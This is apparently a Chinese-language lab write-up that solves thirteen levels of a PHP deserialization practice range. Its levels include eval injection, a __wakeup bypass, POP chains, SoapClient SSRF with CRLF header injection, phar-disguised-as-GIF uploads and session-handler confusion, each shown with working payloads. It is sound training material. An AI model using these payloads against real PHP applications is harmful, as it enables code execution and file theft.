实验室考核,也跟着把这个反序列化靶场做了一遍,第四关好像写的有点问题,后续更正

前序知识

序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class sertest{
public $my_name = 'drblack';
private $his_name = 'jack';
protected $her_name = 'tom';

function test(){
$this->$team_members = 'mom';
}
}
$obj = new sertest();
echo serialize($obj);
?>

image-20231022192609800

1
2
O:7:"sertest":3:{s:7:"my_name";s:7:"drblack";s:17:"sertesthis_name";s:4:"jack";s:11:"*her_name";s:3:"tom";}
O:对象名的长度:"对象名":对象属性个数:{s:属性名的长度:"属性名";s:属性值的长度:"属性值";}

o代表是一个对象,7是对象object的长度,3的意思是类有三个属性,后面花括号里的是类属性的内容。s表示的是类属性my_name的类型为字符串类型,7表示类属性my_name的值的长度,后面的以此类推。类中的方法不会参与到实例化里面。

his_name为private属性,序列化后变为\x00sertesthis_name\x00(\x00不显示)长度为17

her_name为protected属性,序列化后变为\x00*\x00her_name(\x00不显示)长度为11

1
2
3
4
5
1. Private成员属性,序列化时: \x00 +  [私有成员所在类名]  + \x00 [变量名]

2. Protected成员属性,序列化时:\x00 + * + \x00 + [变量名]

其中,"\x00"代表ASCII为0的值,即空字节," * " 必不可少。

序列化格式的字母含义

1
2
3
4
5
6
a - array                    b - boolean  
d - double i - integer
o - common object r - reference
s - string C - custom object
O - class N - null
R - pointer reference U - unicode string

反序列化

进行反向复原

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class sertest{
public $my_name = 'drblack';
private $his_name = 'jack';
protected $her_name = 'tom';

function test(){
$this->$team_members = 'mom';
}
}
$obj = new sertest();
$b = serialize($obj);
var_dump(unserialize($b));
?>

image-20231022193911737

魔术方法

方法名 作用
__construct 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值 new的时候调用
__destruct 析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
__toString 当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
__wakeup() 使用unserialize时触发,反序列化恢复对象之前调用该方法
__sleep() 使用serialize时触发 ,在对象被序列化前自动调用,该函数需要返回以类成员变量名作为元素的数组(该数组里的元素会影响类成员变量是否被序列化。只有出现在该数组元素里的类成员变量才会被序列化)
__destruct() 对象被销毁时触发
__call() 在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 读取不可访问的属性的值时会被调用(不可访问包括私有属性,或者没有初始化的属性)
__set() 在给不可访问属性赋值时,即在调用私有属性的时候会自动执行
__isset() 当对不可访问属性调用isset()或empty()时触发
__unset() 当对不可访问属性调用unset()时触发
__invoke() 当脚本尝试将对象调用为函数时触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class mysertest {
private $name = 'test';

public function __wakeup(){
echo "调用了__wakeup()方法\n";
}
public function __construct(){
echo "调用了__construct()方法\n";
}
public function __destruct(){
echo "调用了__destruct()方法\n";
}
public function __toString(){
echo "调用了__toString()方法\n";
}
public function __set($key, $value){
echo "调用了__set()方法\n";
}
public function __get($key) {
echo "调用了__get()方法\n";
}
}
$a = new mysertest();
$a->name = 1;
echo $a->name;
$ser_a = serialize($a);
#print_r($ser_a);
echo "\n";
print_r(unserialize($ser_a));
?>

image-20231022192152084

image-20231022192205567

简单漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class A{
var $test = "demo";
function __destruct(){
@eval($this->test);
}
}
$test = $_POST['test'];
$len = strlen($test)+1;
$p = "O:1:"A":1:{s:4:"test";s:".$len.":"".$test.";";}"; // 构造序列化对象
$test_unser = unserialize($p); // 反序列化同时触发_destruct函数
?>

image-20231022195028116

Pass-1

代码分析

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
class a{
var $act;
function action(){
eval($this->act);
}
}
$a=unserialize($_GET['flag']);
$a->action();
?>

通过flag获取参数,传入读取flag.php的代码即可获得flag

解题过程

1
2
3
4
5
6
7
<?php
class a{
var $act="var_dump(file('flag.php'));";
}
$b = new a();
echo serialize($b);
?>
1
O:1:"a":1:{s:3:"act";s:27:"var_dump(file('flag.php'));";}

image-20231022204107218

Pass-2

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_GET['param']);
if($a->login())
{
echo $flag;
}
?>

mylogin类,具有_construct()login()函数,只有在两个$this->符合条件后才能输出flag,当_construct()调用时,$user$pass赋值给两个$this->

1
_construct() 构造函数,在创建对象时候初始化对象,一般用于对变量赋初值

解题过程

1
2
3
4
5
6
7
8
<?php
class mylogin{
var $user = "daydream";
var $pass = "ok";
}
$b = new mylogin();
echo serialize($b);
?>
1
"mylogin":2:{s:4:"user";s:8:"daydream";s:4:"pass";s:2:"ok";}

image-20231022211600554

Pass-3 cookie传递

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
highlight_file(__FILE__);
include("flag.php");
class mylogin{
var $user;
var $pass;
function __construct($user,$pass){
$this->user=$user;
$this->pass=$pass;
}
function login(){
if ($this->user=="daydream" and $this->pass=="ok"){
return 1;
}
}
}
$a=unserialize($_COOKIE['param']);
if($a->login())
{
echo $flag;
}
?>

解题过程

和第二关只区别在一个用GET一个用Cookie传递,需要进行url编码后才能成功传入

1
2
3
4
5
6
7
8
<?php
class mylogin{
var $user = "daydream";
var $pass = "ok";
}
$b = new mylogin();
echo urlencode(serialize($b));
?>
1
2
param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D
param=O%3A7%3A%22mylogin%22%3A2%3A%7Bs%3A4%3A%22user%22%3Bs%3A8%3A%22daydream%22%3Bs%3A4%3A%22pass%22%3Bs%3A2%3A%22ok%22%3B%7D

image-20231022211956555

Pass-4 数组特性

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}

class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}

unserialize($_GET['param']);
?>
1
create_function()  根据传递的参数创建匿名函数,并为其返回唯一名称

如果数组的第一个元素为类,第二个元素为这个类的方法时。对数组进行反序列化后会调用该方法。

首先流程应该是找到漏洞利用点,往上一层层解析。

漏洞点:__destruct方法中的unserialize($this->key)();处。这句话的原理是:将key的值进行反序列化后,当作函数进行调用。那么思路应该是通过$action接收creat_function,$code用来添加利用代码,而利用php数组特性,在func类中传入array(GetFlag类,get_flag)用于调用get_flag函数。

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
class func
{
public $key;
public function __destruct()
{
unserialize($this->key)();
}
}
class GetFlag
{ public $code;
public $action;
public function get_flag(){
$a=$this->action;
$a('', $this->code);
}
}
$a = new GetFlag();
$b = new func();
$a->code = '}include("flag.php");echo $flag;//';
$a->action = "create_function";
$b->key = serialize(array($a,"get_flag"));
echo serialize($b);

image-20231023193222874

在函数利用处添加代码看看具体情况,

image-20231023201139276

拼接后内部逻辑如下,但是为什么没有报错呢??

image-20231023201226541

Pass-5 wakeup + 正则绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$cmd=$_GET['cmd'];
if (!isset($cmd)){
echo show_source('index.php',true);
}
else{
if (preg_match('/[oc]:\d+:/i',$cmd)){
echo "Are you daydreaming?";
}
else{
unserialize($cmd);
}
}
//sercet in flag.php
?>

首先找利用点,在_destruct处,想要利用其获得flag,需要this->file取值为flag.php。而当我们传入一个序列化值时,整个题的执行顺序是__construct__wakeup__destruct,我们似乎无法在__wakeup之后自定义$file的取值。这里就要涉及__wakeup的绕过

当传入的序列化类中的方法数量大于实际方法数时候,__wakeup默认会被绕过,CVE-2016-7124

1
preg_match('/[oc]:\d+:/i',$cmd

正则匹配处对我们输入的变量进行了过滤

image-20231023204536227

那我们尝试构造一个序列化payload

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
class secret{
var $file='index.php';

public function __construct($file){
$this->file=$file;
}

function __destruct(){
include_once($this->file);
echo $flag;
}

function __wakeup(){
$this->file='index.php';
}
}
$a = new secret("flag.php");
echo serialize($a);

?>
1
2
3
4
结果为 O:6:"secret":1:{s:4:"file";s:8:"flag.php";}
修改绕过wakeup O:6:"secret":2:{s:4:"file";s:8:"flag.php";},但是无法绕过正则
正则匹配的是O:数字: 那么尝试在6前加入特殊字符,尝试后加号+ 经过url编码后可以绕过
O:%2B6:"secret":2:{s:4:"file";s:8:"flag.php";}

image-20231023205436096

Pass-6 私有 %绕过

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8");
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$param=$_GET['param'];
$param=str_replace("%","daydream",$param);

unserialize($param);
?>

首先查找利用点,位于__destruct方法中,__destruct方法是当类被销毁时调用。我们需要控制__construct方法中的com变量。

利用流程是:通过传入一个经过了序列化的$param参数,经过去除其中的%后,进行反序列化。

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
header("content-type:text/html;charset=utf-8");
class secret{
private $comm;
public function __construct($com){
$this->comm = $com;
}
function __destruct(){
echo eval($this->comm);
}
}
$a = new secret("var_dump(file('flag.php'));");
$b = serialize($a);
echo $b;

?>

输出的内容如下,但是由于$comm是私有变量,格式为%00类名%00变量名。这里的%00 echo没有显示出来,但是存在,因为长度可以看出来

1
2
输出  O:6:"secret":1:{s:12:"secretcomm";s:27:"var_dump(file('flag.php'));";}
实际上 O:6:"secret":1:{s:12:"%00secretcomm%00";s:27:"var_dump(file('flag.php'));";}

那么需要我们对%的检测进行绕过

解决方案

  1. 如果题目要求我们直接传入反序列化字符串,为了防止被截断,或者其他情况,我们一般使用urlencode编码poc,将00字符转为%00
    O:5:"DemoX":3:{s:1:"a";N;s:8:"%00DemoX%00b";N;s:4:"%00*%00c";N;}
    PS:只编码特殊符号,不要连带字母一同编码了
  2. 在PHP反序列化时,将s改为大写S,这样可以反序列化时可以识别十六进制字符。
    O:5:"DemoX":3:{s:1:"a";N;S:8:"\00DemoX\00b";N;S:4:"\00*\00c";N;}
  3. 由于php7.1+版本对属性类型不敏感,所以可以直接使用public属性的变量。
    O:5:"DemoX":3:{s:1:"a";N;s:8:"b";N;s:4:"c";N;}

那么我们修改为

1
O:6:"secret":1:{S:12:"\00secretcomm\00";s:27:"var_dump(file('flag.php'));";}

image-20231023213310261

再试试php版本为7.2的时候能否利用方法三绕过

1
O:6:"secret":1:{s:4:"comm";s:27:"var_dump(file('flag.php'));";}

绕过成功

image-20231023214146052

Pass-7 call()方法

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}

class my
{
public $name;

function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}
$a=$_GET['a'];
unserialize($a);
?>

call()在对象中调用不可访问的方法时触发,即当调用对象中不存在的方法会自动调用该方法

找到利用点在_call方法中,要调用__call方法需要调用一个my类中的不存在方法即可。

首先需要将$body赋值为my的类对象,否则无法实现call的调用,那么最开始我尝试在初始化的时候定义private $body = new my();但是抛出了错误,只能通过__conststruct方法,

image-20231023221651845

解题过程

构建解题代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
class you
{
private $body;
private $pro='';
public function __construct()
{
$this->body = new my();
$this->pro = 'yourname';
}

function __destruct()
{
$project=$this->pro;
$this->body->$project();
}
}

class my
{
public $name = 'myname';

function __call($func, $args)
{
if ($func == 'yourname' and $this->name == 'myname') {
include('flag.php');
echo $flag;
}
}
}

$a = new you();
echo serialize($a);
#echo serialize($a);

1
O:3:"you":2:{s:9:"%00you%00body";O:2:"my":1:{s:4:"name";s:6:"myname";}s:8:"%00you%00pro";s:8:"yourname";}

image-20231023222313634

Pass-8

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}


$param=$_GET['param'];
$profile=unserialize(filter($param));

if ($profile->pass=='escaping'){
echo file_get_contents("flag.php");
}

?>

网上说要用增量逃逸,这题似乎不用那么复杂,直接传参数就可以了。new了对象后,其___construct方法已经被调用,在网页处对其unserialize时不会再次调用,则变量可控,new之后给$a->pass赋值为escaping即可

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
highlight_file(__FILE__);
function filter($name){
$safe=array("flag","php");
$name=str_replace($safe,"hack",$name);
return $name;
}
class test{
var $user;
var $pass='daydream';
function __construct($user){
$this->user=$user;
}
}

$a = new test(1);
$a->pass = 'escaping';
echo serialize($a);
?>

image-20231024100326784

Pass-9 POP链构造

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __invoke(){
$this->append($this->var);
}
}

class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}

if(isset($_GET['pop'])){
unserialize($_GET['pop']);
}
?>

首先找到漏洞利用点,位于Modifierappend方法中,存在include函数,可以用于读取flag.php文件。

那么考虑调用append函数并且控制$value值,可以看见invoke函数中存在对append调用,传入参数为$this->var,那么需要控制var='flag.php',并且调用invoke方法。

将对象当作函数进行调用即可触发invoke方法,那么我们可以找到一处将变量当作函数的代码,位于Test类中的get方法中,需要将$this->p=Modifier对象,并且触发get方法。

get方法的触发需要读取对象中的不存在的属性或者私有属性,Test类中不存在私有属性,那么考虑传入一个随意不存在属性即可。

Show类中testing方法可以用于构造触发get的代码,$str赋值为Test对象即可,那么source呢?不急着赋值,先看看后面。

如何触发toString?将对象Show当作字符串输出即可,wakeup中存在echo $this->source那么可以将对象Show传入source中,用于触发toString方法,全部搞定!

解题过程

流程为

1
2
Show类中source='null',str=Test对象 -> Test类中 get $this->p='Modifier对象' ->Modifier类中 invoke() var='flag.php'->append('flag.php')

在构造代码时会有一个小tip,控私有变量var变量的值时候,用__construct方法来控制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
//flag is in flag.php
highlight_file(__FILE__);
class Modifier {
private $var;
public function append($value)
{
include($value);
echo $flag;
}
public function __construct() //控制var的值
{
$this->var = 'flag.php';
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
echo $this->source;
}
}

class Test{
public $p;
public function __construct(){
$this->p = array();
}

public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new show();
$b = new Test();
$c = new Modifier();
$a->source = $a; //选取一个不存在的属性用于调用get
$b->p=$c;
$a->str = $b;
$d=serialize($a);
echo $d;
#var_dump(unserialize($d));

?>
1
O:4:"Show":2:{s:6:"source";r:1;s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}}

Pass-10 Soap序列化

需要开启soap扩展(php5.6:extension=php_soap)

SoapClient

PHP 的 SOAP 扩展可以用来提供和使用 Web Services,这个扩展实现了6个类,其中的SoapClient类是用来创建soap数据报文,与wsdl接口进行交互的,同时这个类下也是有反序列化中常常用到的__call()魔术方法。

构造函数如下:

1
public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

wsdl

​ 描述服务的 WSDL 文件的 URI,用于自动配置客户端。如果未提供,客户端将以非 WSDL 模式运行。

options(未列举完全)

为 SOAP 客户端指定附加选项的关联数组。如果wsdl提供,则这是可选的;否则,至少location并且url必须提供。

  • location 细绳

    将请求发送到的 SOAP 服务器的 URL。wsdl如果未提供 该参数,则为必填项。如果同时提供了 wsdl参数和 选项,则该选项将覆盖 WSDL 文件中指定的任何位置。 location``location

  • uri 细绳

    SOAP 服务的目标命名空间。

当对该类进行反序列化后,调用该类不存在的方法,会触发_call()方法,然后向location发送一个soap请求,并且uri选项是我们可控的地方。

CRLF

Web应用没有对用户输入做严格验证,导致攻击者可以输入一些恶意字符。攻击者一旦向请求行或首部中的字段注入恶意的CRLF 比如:\r\n,就能注入一些首部字段或报文主体,并在响应中输出。

SSRF+CRLF攻击

_Call方法中的有user_agent选项,用于添加User-agnet值,当可以控制User-Agent的值时,也就意味着可以构造一个POST请求,因为Content-Type为和Content-Length都在User-Agent之下,而控制这两个是利用CRLF发送post请求最关键的地方。

image-20231107131548386

模拟测试

1
2
3
4
5
6
<?php
$url = 'http://ip:1234';
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=> $url));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

image-20231107112001944

可见SOAPction中的内容可控制,配合crlf漏洞传入换行符\r\n将内容挤到POST的数据中,达到通过post传参的目的,如下图

image-20231107112254238

需要将content-type修改为application/x-www-form-urlencoded,Content-length也需要修改为合适内容代码如下

1
2
3
4
5
6
7
8
<?php
$url = 'http://47.113.146.49:1234';
$post = "this is post test";
$len =strlen($post);
$a = new SoapClient(null,array('location'=> $url,'user_agent'=>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".$len."\r\n\r\n\r\n".$post,'uri'=>'aaa'));
$b = serialize($a);
$c = unserialize($b);
$c -> not_a_function();//调用不存在的方法,让SoapClient调用__call

image-20231107113443129

目前了解了soap攻击的手法,现在可以根据题目代码进行测试了,

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
header('Content-type:text/html;charset=utf-8');
highlight_file(__FILE__);

$c = unserialize($_GET['param']);
$c -> daydream();

/*
In this topic,it is of course possible to pass parameters directly to flag.php, but it is not recommended to use this method to learn SOAP.
flag.php
$flag="*";
$user=$_SERVER['HTTP_USER_AGENT'];
$pass = $_POST['pass'];
if(isset($pass) and isset($user)){
if($pass=='password' and $user=='admin'){
file_put_contents('flag.txt',$flag);
}
}
*/
?>

index的代码比较简单,反序列化param参数,然后调用daydream()方法。

flag.php部分代码是关键,判断$pass $user内容,判断符合条件后将$flag输出到flag.txt文件中,所以我们需要传入$pass $user对应值。

首先本地测试一下

1
2
3
4
5
6
7
8
9
<?php
#$url = 'http://10.211.55.5/php-SER/level10/flag.php';
$url = 'http://ip:1234';
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>$url,'user_agent'=>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".$data_len."\r\n\r\n".$post_data,'uri'=>'bbbaddddd'));
$b = serialize($a);
$c = unserialize($b);
$c -> daydream();

image-20231107134456647

结果符合我们预想情况,

1
2
3
4
5
6
7
<?php
$url = 'http://10.211.55.5/php-SER/level10/flag.php';
$post_data='pass=password';
$data_len=strlen($post_data);
$a = new SoapClient(null,array('location'=>$url,'user_agent'=>"admin\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".$data_len."\r\n\r\n".$post_data,'uri'=>'bbbaddddd'));
$b = serialize($a);
echo urlencode($b);

将上述代码编译执行后传入

image-20231107140655484

发现始终报错,检测后发现是mac机器php版本不对,也没开启soap扩展,把文件放到靶机环境下执行

image-20231107140034087

传入后访问flag.txt,成功获取到flag

image-20231107140612311

image-20231107140636693

参考文章

http://home.ustc.edu.cn/~xjyuan/blog/2019/09/06/SSRF-CRLF-Attack-by-SoapClient/

https://blog.csdn.net/qq_37376469/article/details/130024611

Pass-11 Phar序列化

需要新建一个upload名的文件夹,否则代码会有问题

知识补充

phar文件是php里类似于JAR的一种打包文件本质上是一种压缩文件,在PHP 5.3 或更高版本中默认开启,一个phar文件一个分为四部分

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
1.a stub

可以理解为一个标志,格式为xxx<?php xxx; __HALT_COMPILER();?>,前面内容不限,但必须以__HALT_COMPILER();来结尾,否则phar扩展将无法识别这个文件为phar文件

2.a manifest describing the contents

phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方

3.the file contents

被压缩文件的内容

4.[optional] a signature for verifying Phar integrity (phar file format only)**

签名,放在文件末尾

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
header('Content-type:text/html;charset=utf-8');
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
if (isset($filename)){
echo md5_file($filename);
}
//upload.php
?>
1
2
3
4
5
6
7
8
9
10
11
12
<?php
class TestObject {
}
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成phar文件前必须修改php.ini中的配置,将phar.readonly设置为Off

image-20231107190829789

访问upload.php尝试上传,发现有检测。那么试试添加文件头

image-20231107191454409

修改代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
class TestObject {
}

@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

生成新的phar文件,修改名称为phar.gif

image-20231107191957858

配合phar伪协议利用即可

1
file=phar://upload/phar.gif/test.txt

image-20231107194027760

参考文章

https://xz.aliyun.com/t/6699

https://mp.weixin.qq.com/s/OnOsHNKIWWvcTN7ZP5ymSQ

Pass-12 Phar 黑名单

代码分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
header('Content-type:text/html;charset=utf-8');
highlight_file(__FILE__);
class TestObject {
public function __destruct() {
include('flag.php');
echo $flag;
}
}
$filename = $_POST['file'];
$boo1=1;
$black_list=['php','file','glob','data','http','ftp','zip','https','ftps','phar'];
foreach($black_list as $item){
$front=substr($filename,0,strlen($item));
if ($front==$item){
$boo1=0;
}
}
if (isset($filename) and $boo1){
echo md5_file($filename);
}
//upload.php
?>

解题过程

相比上一题,多了黑名单匹配substr($filename,0,strlen($item))匹配文件名的前几个字符,如果存在匹配项,则无法通过检测。https://xz.aliyun.com/t/6699该文章提到了一种方法,如果题目限制了,`phar://`不能出现在头几个字符。可以用`Bzip / Gzip`协议绕过

1
$filename = 'compress.zlib://phar://phar.phar/test.txt';

上传phar.gif文件,配合伪协议读取

1
file=compress.zlib://phar://upload/phar.gif/test.txt

image-20231107200136022

Pass-13 Session 反序列化

参考下面文章了解详细session信息

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6

开始前先了解几个参数的含义

Directive 含义
session.save_handler session保存形式。默认为files
session.save_path session保存路径。
session.serialize_handler session序列化存储所用处理器。默认为php。
session.upload_progress.cleanup 一旦读取了所有POST数据,立即清除进度信息。默认开启
session.upload_progress.enabled 将上传文件的进度信息存在session中。默认开启。
1
2
3
4
<?php
session_start();
$_SESSION['name'] = 'drblack';
?>

session.serialize_handler=php_serialize 时,上面文件session为: a:1:{s:4:"name";s:7:"drblack";}

通过设置ini_set('session.serialize_handler', 'php_serialize');参数进行设置

代码分析

index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
header('Content-type:text/html;charset=utf-8');
highlight_file(__FILE__);
/*hint.php*/
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}

hint.php

1
2
3
4
5
6
<?php
highlight_file(__FILE__);
ini_set('session.serialize_handler', 'php_serialize');
session_start();
$_SESSION['a'] = $_GET['a'];
?>

image-20231107203443178

从readme中了解到,index.php中默认是php引擎,而php引擎的存储格式是键名|serialized_string,而php_serialize引擎的存储格式是serialized_string。如果程序使用两个引擎来分别处理的话就会出现问题

本题中,hint.php和index.php则分别用了两种引擎,如果我们在hint中的反序列化内容前加上符号,在hint中会被识别为普通字符串,但是如果在index中会被认为是管道符。并且自动反序列化后面的内容。至于为什么会反序列化后面的内容,是因为session_start()函数,如下

1
当会话自动开始或者通过 session_start() 手动开始的时候, PHP 内部会调用会话管理器的 open 和 read 回调函数。 会话管理器可能是 PHP 默认的, 也可能是扩展提供的(SQLite 或者 Memcached 扩展), 也可能是通过 session_set_save_handler() 设定的用户自定义会话管理器。 通过 read 回调函数返回的现有会话数据(使用特殊的序列化格式存储),PHP 会自动反序列化数据并且填充 $_SESSION 超级全局变量

解题过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
session_start();
class Flag{
public $name;
public $her;
function __wakeup(){
$this->name=$this->her=md5(rand(1, 10000));
if ($this->name===$this->her){
include('flag.php');
echo $flag;
}
}
}

$a = new Flag();
echo serialize($a);

运行上述代码生成结果

1
O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}

传入a=|O:4:"Flag":2:{s:4:"name";N;s:3:"her";N;}

image-20231107204129258

再访问index.php即可

image-20231107204148488

参考文章

https://mochazz.github.io/2019/01/29/PHP%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%85%A5%E9%97%A8%E4%B9%8Bsession%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/#PHP%E7%9A%84session%E6%9C%BA%E5%88%B6